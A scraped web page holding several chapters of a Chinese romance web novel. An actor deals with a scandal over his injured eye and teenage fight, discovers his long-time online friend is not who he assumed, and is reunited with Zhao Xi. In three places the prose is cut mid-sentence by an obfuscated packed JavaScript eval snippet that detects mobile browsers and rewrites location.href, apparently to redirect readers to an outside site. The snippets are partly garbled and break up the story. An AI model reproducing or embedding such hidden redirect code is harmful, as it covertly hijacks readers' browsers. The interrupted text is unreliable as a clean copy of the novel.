姜洄默默听着,瞥见楼梯墙上的合照,晃了下神:“你们在一起很久了?” “不算吧,两年前他来顺城出差,我俩才认识的,前段时间刚定下来……不过我家里催的很急,我们过段时间就要订婚了。” 唐尺笑道:“结婚的时候你可一定要来啊。” 姜洄也笑笑:“当然。” 余书果然没有来打扰过他们,唐尺带他打的是一款火了很多年的游戏,仗着曾经和赵熙玩过不少次,姜洄应对自如。 游戏房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131837|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的饮水机空了,姜洄下楼接水的时候,路过书房,听见里面余书在打电话,隐约提到什么“综艺”。 他微微一顿,大概脚步声暴露了什么,里面一瞬间没声音了。 姜洄没有听墙角的癖好,径直端着水杯上楼了。 他坐在电脑面前,等待匹配的界面,姜洄问唐尺:“你男朋友是做什么的啊?” 唐尺有些惊奇地看了他一眼。 认识这么多年,不管成为朋友前还是成为朋友后,姜洄对人对事从来都是一种淡淡的态度,好像没有什么事能入得了他的眼,这还是唐尺第一次听他主动提起一个话题。 当然不是怀疑姜洄别有居心,只是纯粹感到好奇:“怎么突然问这个?他就是开公司的啊,家里情况和我差不多,不过他公司开得有模有样的,总公司也在江城呢……说起来,好像也是主攻娱乐圈的,你们之前难道见过?” 姜洄轻飘飘地捏造谎言:“没有,是他和我一位朋友长得有点像……所以多问了句。” 唐尺恍然哦了一声,不做怀疑:“这样。” “话说你也二十八了吧?没想过要谈个恋爱什么的?” 鼠标键盘被按得劈里啪啦,姜洄漫不经心地想,怎么好像他身边的每个人都要问一遍这个问题? 他摇摇头:“暂时没有这个想法。” 打完游戏回去,已经快晚上了,唐尺要留他吃饭,被姜洄拒绝,笑着调侃:“你们二人世界,我再打扰下去就是不识趣了。” 唐尺脸红得不行,只好作罢。 打的车在小区门口停,姜洄步行过去,权当散步。 走到一半,在路边的绿化带里听到一声猫叫。 他顿住步子,扭头看去,一只坐得端正的黑猫脖子上系着铃铛,幽绿色的眼睛一错不错地盯着他。 ……有点眼熟。 姜洄还没来得及在回忆里搜寻出什么,一个女孩在他身后惊呼一声:“大福!” “你怎么又跑出来了!”女孩不满地训斥着怀里的黑猫,猫咪似乎也知道错了,讨好地舔了舔她的手背。 说是女孩,其实她的年纪大概和姜洄差不多大,已经不小了。 抬起头看见愣在原地的他,女孩眨眨眼,犹豫道:“你好?” 这个人为什么戴着口罩盯着她看? 姜洄记起来冷淡。 在赵熙那个世界,他曾经救下过这只黑猫,只是因为在这里黑猫系上了铃铛,他才一时没有反应过来,看到猫主人的脸才得以确认。 姜洄的视线下移,落在那只猫身上:“它……叫大福?” 女孩笑道:“是啊,每天吃得圆滚滚的,是不是很适合它?” 姜洄点点头:“它多大了?” 他记得在赵熙那一世遇到大福的时候,它和现在的样子似乎差不多? 女孩道:“才两岁呢,就是吃的胖了……啊对了,你好像有点眼熟,有点像一个明星?” 两岁? 这和他记忆里可对不上。 难道是因为另一个世界因为他而产生了蝴蝶效应,也间接导致了大福提早出生? 世界连锁反应竟然这么多吗? 姜洄下意识扒拉了一下口罩,眉眼低了一些:“很多人这么说。” 女孩道:“你很喜欢猫吗?我们要不要加个微信?我家狸花猫快生崽子了,你要是喜欢,我送你一只。” 姜洄想到了崽崽。 有赵熙在,哪怕自己离开,它应该也不会太难过。 他鬼使神差地点点头:“……好。” 57.热搜 唐尺送姜洄出门,回来就看见余书站在书房门口,欲言又止地看着这边。 唐尺一头雾水:“怎么了?” 余书道:“你说他叫姜洄?” 唐尺:“对啊,听过吧?我朋友是大明星,嘿嘿,我厉不厉害?” 余书:“……厉害。” “你怎么这个表情?” 余书干笑:“没,没什么,只是觉得他和我一个朋友长得很像。” 唐尺惊奇:“诶,巧了,刚刚他也这么说来着。” …… 隔天,姜洄和以往一样,去了每周末林素都会去的那家咖啡馆。 他戴着口罩帽子,捧着一本书坐在靠窗的位置,除了一身气质实在出众,忍不住叫人多看几眼外,就像只是来这里看书的路人。 林素安静地坐在角落里敲着电脑,没有注意到他。 她和姜洄记忆中从未露出笑容过的母亲已经相差甚远。 远离了江城,这么多年过去,她成为了一位音乐制作人,已经重新找了一个爱人结婚,姜洄查过,对方对她很好,他们多年来一直没有生过孩子,似乎也不在乎。 姜洄曾经还会想,是不是因为自己的存在母亲才会不生孩子的,后来发现他想多了,和他无关,林素只是不想生。 毕竟如果真的念着他,就不会这么多年都从未主动联系过他——而且姜洄长得很像母亲,他这张脸出现在荧幕上的时间已经十几年了,林素不是一点都不关注娱乐的人,绝对知道他是谁,但依旧没有找过他。 他是林素人生书卷里,错误轨迹上一滴错误落下的墨点,没有人会喜欢被强迫、当作生育工具一样生下来的孩子,姜洄从二十多年前对方离开那个家时就明白这个道理。 他看了很久的书,目光偶尔落在角落里林素的身上,对方全然不觉。 面前的桌子上放着他的手机,微微亮起的屏幕上有z给他发的消息:【姜老师ip怎么变了?】 姜洄扫了一眼,拿起来。 【口-口:有事。】 不知出于什么心理,姜洄发出一句讯问:【你喜欢音乐吗?】 【z:啊?挺喜欢的,怎么了?】 姜洄回神。 【口-口:没事,随便问问。】 他只是忽然也想给自己找点事情做做了。 看赵熙学音乐时乐在其中的样子,也许他去学习音乐也会放松高兴些。 从顺城回来,姜洄买了架性能高档的钢琴回来,放在屋子的客厅,还有模有样地报了网课。 只是后来一个月都忙着拍戏,脚不沾地,很少能碰一回。 偶尔听着网课,照着琴谱弹奏一曲,生疏的琴音曲调实在太不入耳,姜洄弹了几回,感觉音乐细胞差点随着耐心一起耗尽了。 当初赵熙刚学音乐的时候也这样吗? 他有些想象不出对方是怎么坚持下去的。 不过赵熙和他不一样,他毕竟被赵家富贵迷人的环境养得自持又规矩,能学下去也正常。 但姜洄不是养尊处优十八岁的少年,他又一个人过了一次生日,已经二十八岁了。 他被太多事拖着磨着,整个人的精神气也消沉下来,已经没有当初年少无知,觉得自己什么都能做好的勇气了。 他盯着钢琴瞅了一阵,又想到记忆里那把吉他,那时他去店里,亲手挑给赵熙、最好的一把吉他。 心里忽然翻起细细密密的疼,眼眶也有些热,这间屋子里空旷得瘆人,倒让他那些平日里从不外露的心思有了宣泄的出口,姜洄仰起头,为自己平白翻涌的情绪感到几分憋屈的烦闷。 生日当天,手机里有很多人给他发来祝福,包括z,还是卡点发的。 姜洄一一回复过去,然后去厨房,给自己煮了一碗长寿面。 这几年次次如此。 只是荷包蛋总是窝得很碎,没有赵熙那样自然熟稔的手艺,无论如何也做不出赵熙给他做的那个味道了。 手机里,z问他:【可以给我个地址吗?】 姜洄问他干什么,z说:【给你寄生日礼物。】 姜洄的住址在圈内不是秘密,何况聊了这么久,姜洄还是相信自己看人的眼光的,z不会把他的地址暴露给别人,所以没犹豫两秒,他还是答应了。 姜洄有点好奇,z会给他寄什么礼物。 两天后他就收到了,一条围巾。 打开盒子看见的那一瞬间,姜洄心跳漏了一拍,再次想起了记忆里的那个人。 十七岁,赵熙亲手给他织了一条围巾。 但z的围巾看上去不像织的,阵脚细密严谨,手法娴熟,更像是高射品牌店定制出来的成品。 姜洄盯着手里松软绵和的围巾看了很久,没在上面熟悉的位置看到皮卡丘的图案,反应过来自己在找什么,又是一愣。 他闭了闭眼,给z发去一条消息:【礼物收到了,谢谢。】 【z:喜欢就好。】 姜洄心里情绪酸涩,复杂难言,不是很想被一条围巾勾起心绪,他把围巾挂进衣柜,和其他围巾放在了一起,随后合上了门,眼不见为净。 这期间,姜洄又去林医生那里拿了一次药,不知是真的有些好转了,还是他有意无意地在忽略那些回忆,姜洄的失眠症状好了一些,吃药吃得也不必那么猛了。 距离他和z约定见面的日期越来越近,姜洄不知不觉变得有些焦灼起来。 他不知道自己在害怕什么,又在期待什么,反倒是z的态度一如既往——又也许是隔着屏幕,姜洄看不出他的慌张。 他们定在了一家风评不错的饭店见面,本是姜洄选的地址,因为觉得这家意面和牛排的味道都恰到好处,但不太好定位置,z却在他发去地址之后很快就告诉他已经预定好了,根本没给姜洄操心的机会。 看来z的人脉也不少。 当天姜洄很早就醒了,手机里静悄悄的,从昨晚确认过见面时间和地点后,两人就没再聊过天。 他们的见面倒也算不得多正式,说到底不过就是聊了两年的网友见一面而已,双方都表现得自然且轻松——至少表面是这样。 但姜洄还是专门洗了个澡,穿了套从没穿过的新衣服,出门前对着镜子看了又看,瞅着镜子里那张脸,又忍不住抿唇移开目光。 最后还是换了下来,穿了身常服。 十一点,他戴着口罩帽子坐上出租车,给z发消息:【我出发了。】 z回得很快,好像专门守着他的信息似的:【好,路上小心^v^】 姜洄看着这个颜文字,深吸了口气。 熟悉感更强了。 有时候真的不是他故意要将z当成谁,而是真的太像了。 没关系——姜洄压下心底的烦躁,心说见一面就好了。 今天之后,他就能知道对方到底是谁,不管能不能因此安心,总能有个结果。 但姜洄没想到,偏偏就是在今天出了意外。 原本李哥跟他商量过行程,确认今天休息,不该有任何工作电话会打进来,但姜洄还是在前往饭店的中途接到了他的来电。 “怎么了?” “出大事了!”李哥的声音火急火燎的,“一句两句说不清,你快上微博看看吧,已经在热搜了,热度还在升!” 姜洄微微皱眉,挂断电话打开了微博。 映入眼帘的就是挂在热搜第一明晃晃的词条:#惊!某姜姓影帝人设翻车! ? 姜洄懵了一下,指向性太强,他立刻就明白说的是谁,只是不太明白这种词条是怎么和自己扯上关系的。 他什么时候翻车了? 姜洄点进去,匆匆扫了一眼,表情有几分凝固。 挂在广场第一条是圈内某位知名媒体的微博,简明扼要,以一种八卦口吻意味不明地揣测着,大意是说姜洄对外一直营造面冷心热认真好演员的形象,其实却是个连高中都没上过的混子,初中还因为打架滋事差点进了局子,因此错过了中考。 看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133547|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去如此完美的一个人,实际上右眼残缺,花了不少钱去恢复眼睛,却从来没有对外界提过只字片语,这不是欺骗粉丝是什么?还好意思鼓吹盛世美颜? 这张博文下面配图了九宫格,即便姜洄没点开,也能看清是他带着口罩出入医院被拍下的几张侧脸图,盛兴娱乐商量给钱做手术、帮他摆平那几个小混混的聊天记录,以及一张姜洄少年时期满脸戾气、右眼血肉模糊被打了码的照片。 那时他的五官还没完全长开,有些青涩,眼皮微微耷拉着,目光直视镜头,带着尖利刺目的冷锐,和几分无人察觉的懵懂心慌。 那张打码的照片姜洄见过,在盛兴娱乐对接人的手上,作为拿捏姜洄在盛兴干活的底牌。 但姜洄在和盛兴娱乐翻脸的时候就已经做好了被曝光这件事的打算,一直吊着口气,猜测对方什么时候会发出来重提旧事……没想到会是这种时候。 盛兴倒台后他听说姓刘的携款跑了,因为对方颇有门路,到现在也没抓回来,但都过去这么久了,这件事才被放出来…… 姜洄沉吟两秒,想起过段时间,圈里年终有个奖项提名。 媒体三言两语,添油加醋,好像就成了盖棺定论的事实。 底下不少人被那张图片吓了一跳,事不关己一言一语地讨论着,大多都是看热闹的路人,掺杂几个和他不对付的明星粉丝。 姜洄粉丝那几句无力的“相信洄哥不是这样的人”,悄无声息淹没其中。 更多的,是他后台里猛然激增的私信,都是来询问他热搜是不是真的。 这条微博发表在今早,经过一早上酝酿,热度已经居高不下了。 姜洄抿唇合上手机,有些头疼地揉揉眉心。 没等他犹豫是回去先处理事情还是先去饭店再说,李哥的电话已经又打了进来。 “看完了吗?”李哥头疼道,“这事到底怎么回事你也没和我们提过,我让运营部私下联系过了,对方不肯撤热搜,估计收了不少好处……再发酵下去也不知道会变成什么样,你现在在家吗?我来找你一趟吧,商量一下怎么解决。” 姜洄嘴唇张了张:“……不用,我去工作室和你们说。” 他临时让司机改了道,挂了电话,又在手机上给z发消息:【抱歉,临时有事去不了了。】 距离约定的见面时间还有半小时,临时改话说不去了,是个人都会有不满,姜洄歉意地补充:【改天请你吃饭。】 除此之外,好像也没什么能表达歉意的了。 出乎意料的是,z回得很快。 【z:是热搜的事?】 这事动静不小,z会知道很正常,姜洄没有多说,只应了一句。 【z:你打算怎么处理?】 姜洄想了想,也没什么不好说的:【联系删除博文,让对方道歉,澄清,不外乎就是这些。不过对方不肯撤热搜,有点难办。】 所有圈内黑料爆出,不管真假,几乎都是这么个流程。 【z:明白了,没事,你去吧。下次再见。】 姜洄挑了下眉:【你就不问问我那热搜是真的假的?】 【z:你的为人我清楚,不需要问。】 这话说的语气这样笃定,让姜洄都愣了一下,好似z有多了解他似的…… 实际上他们面都没见,不过当了两年的网友。 姜洄扯了扯唇角,懒洋洋地发去消息:【可是是真的。】 【z:……什么?】 【口-口:我真的打了人,眼睛也是真的没了,现在装的是义眼,还因此错过了中考。】 【z:……】 【口-口:怎么,没想到我是这样的人?】 【z:不是。】 但不是什么,z那边删删改改,头顶的输入不断显示又中断,却一句话都没能发过来,最后甚至彻底归为沉寂。 姜洄不带表情地瞅着,眼底毫无波澜。 直到司机师傅喊他说到了,姜洄才回过神,收起手机下了车。 58.综艺 另一边,西装革履的年轻男人从座位上站起来,他戴上口罩,扫了眼桌上布置浪漫精致的装饰,目光在那一专门带过来的山茶上停顿了两秒。 可惜了,看来今天不是见面的好时机。 他将花拿起,走出门,对门口的侍者说:“预约取消,定金不用退了。” 侍者愣了下,还没来得及询问,就见他的身影已经走远。 背影有些眼熟…… 不过他想来想去,也想不起来在哪里见过这道身影。 …… 姜洄和李哥在工作室会面,简单跟他交代了一下关于眼睛的事情。 “那几张照片……”姜洄顿了顿,“都是真的,但经常出入医院是因为精神状态不好,你知道的,和什么因为右眼问题导致需要去医院定期整形塑容无关。” “那聊天记录呢?你和那些小混混打架也是真的?” 姜洄轻叹口气:“真的,但是原因比较复杂。” 他是拒绝了霸凌者递小抄的要求才被堵住,被迫打这一架的,后来姜洄也想过,要是那天忍住了呢?没有打起来,是不是不会有后来发生的事情了? 但他自己想明白了,不管有没有忍住,按照被找麻烦的那个架势,他第二天就算去了考场,也会被送到医院。 哪怕他通过了中考,想要上高中,他还得有个正式的名字才行,并且需要姜父给他足够的学费。 想也知道,这是那时十五岁的姜洄不可能办到的事情。 李哥听完,眉头紧皱:“哎,也只能庆幸不是你主动挑事了……对方不愿意撤掉热搜,眼下就只能靠你澄清了,我去约几个访谈,一会儿让小许给你发澄清稿子,你照着发微博就行。” 姜洄点头:“麻烦了。” 李哥笑了,拍拍他的肩膀:“说到底你现在还是我老板呢,为老板做事应该的,这么客气干什么。” 姜洄在办公室里等了会儿,顺便处理了些堆积在桌面的文件工作,期间没有特意去看手机。 等他肚子有些饿了抬起头,发现半小时前z曾发了句消息问他怎么样了。 姜洄有些诧异他还会主动联系自己,打字说还在处理。 【z:吃饭了吗?】 【口-口:没】 【z:你现在还在工作室?我给你点个外卖】 【口-口:……谢谢。】 z似乎对他话里的情绪感知异常敏锐,一个省略号就看出了不对,问他:【怎么了?不顺利吗?】 【口-口:没有,只是意外。】 【口-口:你……】 【z:嗯?】 【口-口:你看到热搜那张图片了吗?我是说,眼睛那一张。】 【z:……看到了。】 姜洄不解:【你不觉得害怕?】 z似乎比他更不解:【我为什么要害怕?】 姜洄哑口无言,一时间怀疑他看到的和自己看到的或许不是一张图片。 那张图哪怕打了码,也能看出伤口有多狰狞,马赛克都掩不住血痂和外翻的皮肉,常人看见了自然会觉得恐怖、恶心。 z竟然毫无感觉? 似乎察觉到他话里的意思,z隔了两秒又发来一句:【还好,我心里承受能力没那么差。】 【z:硬要说有什么感觉的话,那就是心疼了。】 他直白得让姜洄有些猝不及防,姜洄眼神一晃:【你很会说好话讨人欢心。】 【z:讨到你欢心了吗?】 姜洄轻笑一声,没有回复。 小许刚把澄清文案发了过来,李哥也推门进来了,表情有些复杂:“一个好消息一个坏消息。” “你说。” “好消息是,热搜被撤了。” 姜洄挑眉:“不是说不肯撤吗?” 李哥摇摇头:“具体情况不清楚,但那家媒体十分钟前把博文删了,热搜也撤了。” 有点奇怪,姜洄拧眉。 既然要针对他,总不能是他们主动撤的热搜,是有人在帮他? 李哥又叹了口气,打断了他的思绪:“坏消息是,我找了几家近两年比较有信服力的访谈节目,要么导演没接电话,要么含糊不清,总之……” 总之,公开澄清这件事,有点困难了。 姜洄表情没什么变化。 这个圈子一向如此,趋利避害,人之常情。 如果他没有有利的证据证明自己说的是真的,访谈节目也不敢轻易邀请他,怕砸了自己的招牌。 姜洄起身,拍拍他的肩膀:“没事,好歹热搜撤了,澄清声明发出去,剩下的……尽人事吧。” 李哥沮丧两秒,道:“访谈节目不行,不然找找综艺节目吧?” 综艺最重要的就是热度,这种舆论中心的人物最能给节目添热度了。 他唯一担心的是,姜洄向来沉浸演戏,不怎么喜欢参加综艺。 姜洄笑了。 综艺上了又怎么样?没人能证明他说的话是真的,只会一遍遍提醒粉丝和路人,他做过这些事。 资本家只在乎利益,观众只在乎八卦。 只有爱他的人才在乎真相有没有及时被澄清公示。 但他有些累了,看着李哥担忧的眼神,还是把喉咙里的话咽了下去:“你看着办吧,我尽力配合。” 姜洄没留下来继续看工作室其他人的眼神打量,很快打车回去了。 坐在车上刚把那段澄清说明发出去,又接到小许的电话:“姜哥,你点外卖了?送到公司来了。” 姜洄这才想起来z还给他点了份外卖,他默了默:“我忘了……我现在回去拿。” 他又返程了一趟,天气太冷,拿到外卖时,哪怕包着保温袋,温热的外卖盒子也已经冷下来了。 姜洄回到家打开,有些呆怔地发现,红烧鸡翅、狮子头、炖土豆…… 色香味俱全,最重要的是——都是他喜欢的菜。 他什么时候和z透露过这些吗? 可惜今天有事还是没能和z见面,姜洄拆开包装漂亮的筷子,漫不经心地想着。 一口软糯入味的炖土豆进嘴里,他脑海中倏地灵光一闪。 不对啊。 他一直被自己的思维困住了,要知道z到底是谁,问一问宋因雯不就行了? 姜洄心跳又开始加快了。 他定了定呼吸,拿出手机,翻到和宋因雯的聊天记录,看见对方刚刚还给自己发了关心,让他不要在乎热搜的事情。 姜洄一字一句地打出自己的疑问。 【口-口:宋姐,在吗?】 【宋:啊,是热搜那件事有事要我帮忙吗?你尽管说!我看到你发的澄清了,我就知道你不会做出那样的事的!】 【口-口:不是。】 【口-口:谢谢信任,但是我想问……你上次推荐给我那个男生,叫什么?】 【宋:……啊?】 【宋:你是说上次在ktv我给你推的那个男生?怎么突然问这个?我有点不记得了,你等我找找……】 【口-口:好。】 等待的时间并没有多久,宋因雯发来了回复:【哦找到了,叫云海。】 姜洄愣愣地看着那两个字,抿了抿唇。 【口-口:他是圈内人吗?我是说,他有从事相关行业吗?比如经纪人、音乐人什么的。】 宋因雯的回复彻底粉碎了他心底的那点微妙的希望。 【宋:没有啊,他是纯素人,硬要说的话他现在是个记者,和圈内也算有点联系吧……】 怎么会? 他感觉错了? ……也正常,只可能是他感觉错了,不然还能有什么答案呢? 姜洄垂下眸子,抿唇:【好,谢谢,我明白了。】 他正要将手机屏幕熄灭,忽然又顿住了。 瞳孔定在宋因雯再次发来的那两条消息上,姜洄久久没能回过神。 【宋:你怎么了?突然回心转意了?】 【宋:之前你没加他好友,我还以为你看过朋友圈不喜欢这类型呢,不过他还挺喜欢你的,特意来问过我,你要是改主意了,我再把号码发你一遍:xxxxxxx】 没什么? 没加他好友? 姜洄感觉自己可能是被今天热搜的事冲昏了头脑,明明每一个字他都认识,但组合在一起就变成了他看不懂的天书,一字一句天旋地转钻进他的脑子里,把他混乱的思绪搅了个粉碎。 没加他好友——那现在这个和他聊天的人是谁? 这个和他聊了两年的z是谁? 姜洄手里的筷子也忘了动,他有点懵,忽然想到自己从未给z打过任何电话,也没有用宋因雯给的这串号码去搜过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137376|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微信号。 z是自己加的他,从未说过他是谁,数次聊天时,姜洄提起“宋姐介绍”这个词汇,z也都只是默认态度,从没有过多提及。 而确认z是宋姐介绍给他的这件事——一直是他先入为主,因为对方恰好在那天给他的微信号发来了好友申请,加上后来他提起来的时候,z从没否认过。 姜洄茫然了两秒,还是凭借着本能,沉默地复制了聊天界面里的那串号码。 然后放在搜索框里搜索过去。 圆圈点点慢悠悠转了两圈,一个陌生微信映入眼帘。 姜洄霍然起身。 恰在此时,z还给他发来了消息,从屏幕上方弹了出来:【外卖拿到了吗?】 【z:可能会冷掉,要趁热吃。】 【z:^v^】 姜洄紧绷着下颌线,唰一下关上了手机屏幕。 两秒,又唰一下打开了。 他劈里啪啦在对话框里打了一句话:你到底是谁…… 不对。 姜洄删除。 他更换:为什么冒充宋姐介绍的人? 还是不对,对方大可以说没有冒充,一切都是姜洄先入为主。 而他也确实无法反驳。 他再换:你加我有什么目的。 不。 z加他的目的似乎很明确,那就是追他。 写了写去,最后竟然无话可问,聊天框里还是一片空白。 姜洄想把人删了又觉得太突然,把人认错了也有他自己自以为是的原因,两年的相处不是假的,他只是忽然感到惊悚,不明白z要用这种借口和他聊下去。 但要他对z态度如初,他也做不到。 【z:我看你一直在输入中,怎么了?】 姜洄心里一团乱麻,他匆匆回了个:没事,再次关闭了手机。 让他静静。 接下来一连一周,姜洄对z的态度就像回到了最开始和z认识的时候,只是极偶尔才会回复他一句,更多时候对他的消息都视而不见。 也许更是不知道回复什么。 z显然察觉到了他冷淡的态度,屡次碰壁后还是没忍住问了他:【是因为上次热搜的事情,最近心情不好吗?可以跟我聊聊。】 姜洄忍了又忍,没忍住还是回了:【和你聊了就能好?】 【z:说不定呢?】 【口-口:那如果是因为你呢?】 【z:因为我?为什么?】 姜洄心里冷笑,心说还真能装。 他面无表情地发:【没事,随口一说。上次见面被打断了,过两天你有时间吗?说好请你吃饭。】 他倒要看看,这人到底是谁。 出乎意料的是,z这次略显为难地拒绝了:【这几天没什么空,抱歉,下次吧。】 姜洄不带神情地看了一会儿,没回复,将手机收了起来。 李哥在第二天给他打了个电话,语气有些兴奋:“小洄,好消息!” “怎么了?” “有档热综邀请你做飞行嘉宾,他们答应配合我们公关问问题,正好能把这次的事情在综艺上澄清了!” 姜洄愣了下,嘴唇几度启合,还是没说什么打击他的高兴情绪:“……什么综艺?” “……”李哥突然沉默了下,尴尬地咳了一声,“相恋一百天。” 姜洄眨了下眼,失声:“什么一百天?” 李哥于是又重复了一遍,解释:“是个恋综,最近很火,节目中间有问答环节,正适合澄清那个热搜,还能借机升一波热度。” 姜洄哑然两秒:“先不说升不升热度澄不澄清的……我又没有谈恋爱,我上什么恋综?” “这就是我要说的。”李哥道,“节目组邀请你的前提是,你要和星辉一位艺人营销cp,正好借机让对方以恋人的口吻帮你澄清谣言,就说你们一起长大,对方知道你的一切事情,这个邀约机会也是星辉那边帮你提的,要求就是营业cp……” 姜洄暂且没有吐槽这个计划有诸多不合理之处,他提起一口气,问:“谁?” “不知道,和我对接的星辉工作人员没说。”见姜洄陷入沉默,李哥连忙道,“不过那边提议上节目之前,你们见一面。还说——” “什么?” “还说只要见一面,你一定会同意这个计划。” 59.重逢 十二月初,姜洄如约去和这位星辉的艺人见一面。 约见的地点对方只说全部随着姜洄来,姜洄懒得推脱,定了一家常去的饭店。 据说这次会面需要谈论如何合作,以及cp营业的具体细节……姜洄不太明白对方为什么会觉得自己和那位艺人见一面就一定能同意这个营业计划,但还是答应了。 这确实是目前最好的办法,没人能证明他说的话是真的,那就来一位不存在的恋人,穿插他从小到大所有的生活,对方口中的一切自然就有了信服力。 这对双方来说都是一本万利的事情,何况还没有定下来,只是见一面,姜洄有拒绝的余地,他没有理由立刻否决。 江城每年冬天的雪都下得很早,往往会维系三个月左右,才会裹着凛冽冬风消失在春来临之前。 见面当天,天空就飘了点细雪,姜洄一身杏色大衣,围了条围巾。 因为最近和z的关系冷下来,昨晚又没睡好,第二天起的有些迟,他到十一点的闹铃响了才醒过来,匆匆上了李哥来接他的车。 不知为何,从醒来开始姜洄的心跳就快的不正常,总觉得今天会发生些什么超出掌控的东西。 他捂住胸口,按下这隐隐的不对劲,打开手机看了一眼,风平浪静,无事发生,连z都没有给他发消息。 窗外雪花细碎纷扬,轻轻飘过车窗再融入地面,一切一如既往,像这些年他独自走来的每个平常日子一样。 姜洄拧眉,收回视线,心想,最好是他想多了。 下车时他紧了紧围巾和脸上的口罩,报出预定的位置和号码,服务生笑着对他们说:“两位的朋友已经到了,请跟我来。” 来得这么早?他记得定的时间是十二点,这才刚十一点半吧? 姜洄随着对方的步伐踏上二楼,和李哥一起进了包厢。 暖气扑面而来,里面已经坐了两道身影,在圆桌前坐着,一道侧对着门口,一道背对着。 服务生将门关上,贴心地快步上前帮他们拉开椅子:“请坐。” “几位客人用点什么?” 姜洄的视线先在侧对着门口的那位身上一扫而过,对方长相普通,是个三十岁左右、戴着黑框眼镜的男人,没什么记忆点。 他的视线自然而然落到了另一位身上。 但只一眼,他就僵住了。 李哥浑然不觉,他认得那位桌边的眼镜男,对方听见开门动静起身的那一刻,李哥已经先上前一步,热络寒暄:“哎哟,老王!好久不见,是你啊?” 王律师微笑着应了一声,眼神有些奇怪地在门口伫立不动的姜洄身上扫过。 直到此时,桌边的另一位终于也转过头,朝门口看过来。 他同样戴着口罩,但露出来的眉眼连五官线条的弧度都那样熟悉—— 视线对接那一刻,姜洄所有纷乱的思绪全部清空,刹那间如坠冰窟。 那人弯了弯眉眼,起身道:“这位就是姜前辈吧?” “久仰大名。你好。” 午夜梦回姜洄也曾无数次设想过,如果他有机会再见到赵熙会怎么办。赵熙那时或许会恨,会嫌恶,又或许会毫不介怀,向他诉说他的思念,哭诉他的不告而别,那时他要用什么表情面对对方,以什么身份,何种姿态,又要说什么话? ……可他从没想过,会在这种情形下与赵熙重逢。 他眉眼如初,年岁依旧,从姜洄的记忆里走出来,活生生站在了他面前,曾经辗转反侧难以释怀的梦成了真……姜洄却一句话也说不出了。 一句“你好”哽在喉间,不上不下,难以吐露,像咽了一块陈年的鱼骨头,在他喉咙里腐朽发烂,连带着眼前也一片晕白。 “是啊是啊,你是星辉的?嘶……欸?怎么感觉你长得有点眼熟?” 李哥接过话,眼神一瞥,终于发现了姜洄的异样,诧异道:“小洄,怎么了?过来坐啊。” 一秒,两秒。 姜洄听见自己僵硬地应了一声。 他不知道自己是怎么在这张桌子边坐下来的,也不知道几人定菜单时都说了些什么,只胡乱地点头应了,他视线定在虚空,脑子一片空白……一时间什么都想了,又好像什么也没想。 怎么是他? 怎么会是他? 他怎么出现在这里的? 服务员离开,李哥的视线在他们脸上左右扫视,忽然微妙起来:“那个……有没有人说过,你长得和姜洄很像。” 那人又弯起眉眼,像是在笑:“很多人这么说。” 李哥惊奇:“声音也像!” “忘记自我介绍了。”对方没有再回答李哥的话,他的目光虚虚挪开,又羽毛一般轻飘飘定在了姜洄身上。 他一身西装革履,衬得宽肩窄腰,气质出众。 话落,他摘下口罩,在李哥诧异的眼神里温和有礼地推来一张名片。 声音轻飘飘的带着笑,视线却始终牢牢锁在姜洄身上,眼底的情绪却浓郁得几乎看不清——带着贪恋的、炽热的、埋藏多年的,隐晦爱意。 “前辈,我叫赵熙。” 包厢里安静了有上十秒。 一种令人感到不安的死寂氛围在沉淀,李哥张了张嘴,一时不知道该说什么。 有种直觉告诉他,不该在此时出声。 但是他妈的…… 李哥的目光在两人脸上转了一圈你又一圈,差点没分清谁是真的姜洄。 这世上怎么能有两个人长得这么像? 连唇角的笑弧都一模一样! 姜洄真的没有一个失散多年的双胞胎兄弟吗?! 良久,姜洄好像终于被惊醒一般,冷着脸抬手,去拿那张名片。 但竟然一时没有挪动。 姜洄下意识抬头,对上他的视线,赵熙仍是带着笑看他,手下的力气却松懈了几分,好像就是为了他这一眼。 姜洄绷着脸,把名片拿过来,又迅速收回了目光。 名片上的照片和他几乎一模一样,旁边的介绍写着:星辉旗下歌手,赵熙,艺名xx。 xx。 ……是他。 姜洄抿唇,注意到桌上剩余三个人都在看着自己,仿佛捏了张烫手山芋,匆忙塞进了大衣口袋里。 赵熙偏偏不放过他,说:“前辈怎么不摘围巾和口罩?屋里很暖和。” 姜洄于是好像得到指令的机器人一般,机械性地伸手把围巾和口罩取了下来,略长的头发散开来,柔软地覆在他颈边。 发型不一样,看上去相似的冲击力也没有那么大了,屋里氛围好像也缓和了一些,李哥于是还是没忍住,把话说出了口:“你俩真不是双胞胎?” 话音刚落,两个人同时看向他。 一左一右,李哥就像在看姜洄照镜子一样。 